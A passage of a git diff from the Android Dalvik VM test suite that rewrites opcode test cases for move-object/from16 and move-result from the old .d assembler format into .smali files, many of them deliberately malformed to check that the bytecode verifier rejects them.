+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5000
+       move-object/from16 v255, v4999
+       move-object/from16 v1, v255
+       
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.d
deleted file mode 100644
index c2f4512..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_3.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move/from16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali
new file mode 100644
index 0000000..df014a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_3.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/from16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.d
deleted file mode 100644
index 360ae14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_4.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       move-object/from16 v5, v4
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali
new file mode 100644
index 0000000..f44f941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_4.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       move-object/from16 v5, v4
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.d
deleted file mode 100644
index 94acfb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_5.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       const v1, 1234
-       move-object/from16 v0, v1
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali
new file mode 100644
index 0000000..19cbf77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_5.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const v1, 1234
+       move-object/from16 v0, v1
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.smali
new file mode 100644
index 0000000..aac484d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_6;
+.super Ljava/lang/Object;
+.source "T_move_object_from16_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v4502, v0
+
+    move-object/from16 v2, v4502
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.smali
new file mode 100644
index 0000000..72594de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_7;
+.super Ljava/lang/Object;
+.source "T_move_object_from16_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v1236, v0
+
+    move-object/16 v257, v1237
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.d
deleted file mode 100644
index 93ff685..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_8.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       move-object/from16 v124, v4999
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali
new file mode 100644
index 0000000..dc6bd8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_8.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 5000
+
+       const-wide v123, 123
+       move-object/from16 v124, v4999
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.smali
new file mode 100644
index 0000000..1172c04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_result/d/T_move_result_1;
+.super Ljava/lang/Object;
+.source "T_move_result_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private static foo()I
+    .registers 1
+
+    const v0, 0x3039
+
+    return v0
+.end method
+
+.method public static run()Z
+    .registers 16
+
+    const v0, 0x0
+
+    invoke-static {}, Ldot/junit/opcodes/move_result/d/T_move_result_1;->foo()I
+
+    move-result v0
+
+    const v1, 0x3039
+
+    if-eq v0, v1, :cond_10
+
+    const v0, 0x0
+
+    return v0
+
+    :cond_10
+    const v0, 0x1
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.d
deleted file mode 100644
index ad1b45c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_2.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_2/foo()I
-    move-result v16
-    
-    return-void
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali
new file mode 100644
index 0000000..bc7423d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_2.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_2;->foo()I
+    move-result v16
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.d
deleted file mode 100644
index 481f158..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_3.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result/d/T_move_result_3/foo()Ljava/lang/Object;
-    move-result v0
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali
new file mode 100644
index 0000000..1e48552
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_3.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result/d/T_move_result_3;->foo()Ljava/lang/Object;
+    move-result v0
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.d
deleted file mode 100644
index 655aa7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_4.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result/d/T_move_result_4/foo()J
-    move-result v0
-    
-    return-void
-.end method
-
-.method private foo()J
-.limit regs 2
-
-    const-wide v0, 1234
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali
new file mode 100644
index 0000000..9d78c0f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_4.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result/d/T_move_result_4;->foo()J
+    move-result v0
+    
+    return-void
+.end method
+
+.method private foo()J
+.registers 2
+
+    const-wide v0, 1234
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.d
deleted file mode 100644
index 711b142..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_5.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 16
-
-    const-wide v0, 123
-
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_5/foo()I
-    move-result v1
-    
-    return-wide v0
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali
new file mode 100644
index 0000000..672bc85
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_5.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_5;->foo()I
+    move-result v1
+    
+    return-wide v0
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.d
deleted file mode 100644
index 9afeb48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_6.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_6/foo()I
-    nop
-    move-result v1
-    
-    return-void
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali
new file mode 100644
index 0000000..2f4acb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_6.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_6.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_6;->foo()I
+    nop
+    move-result v1
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.d
deleted file mode 100644
index aaea908..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_7.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
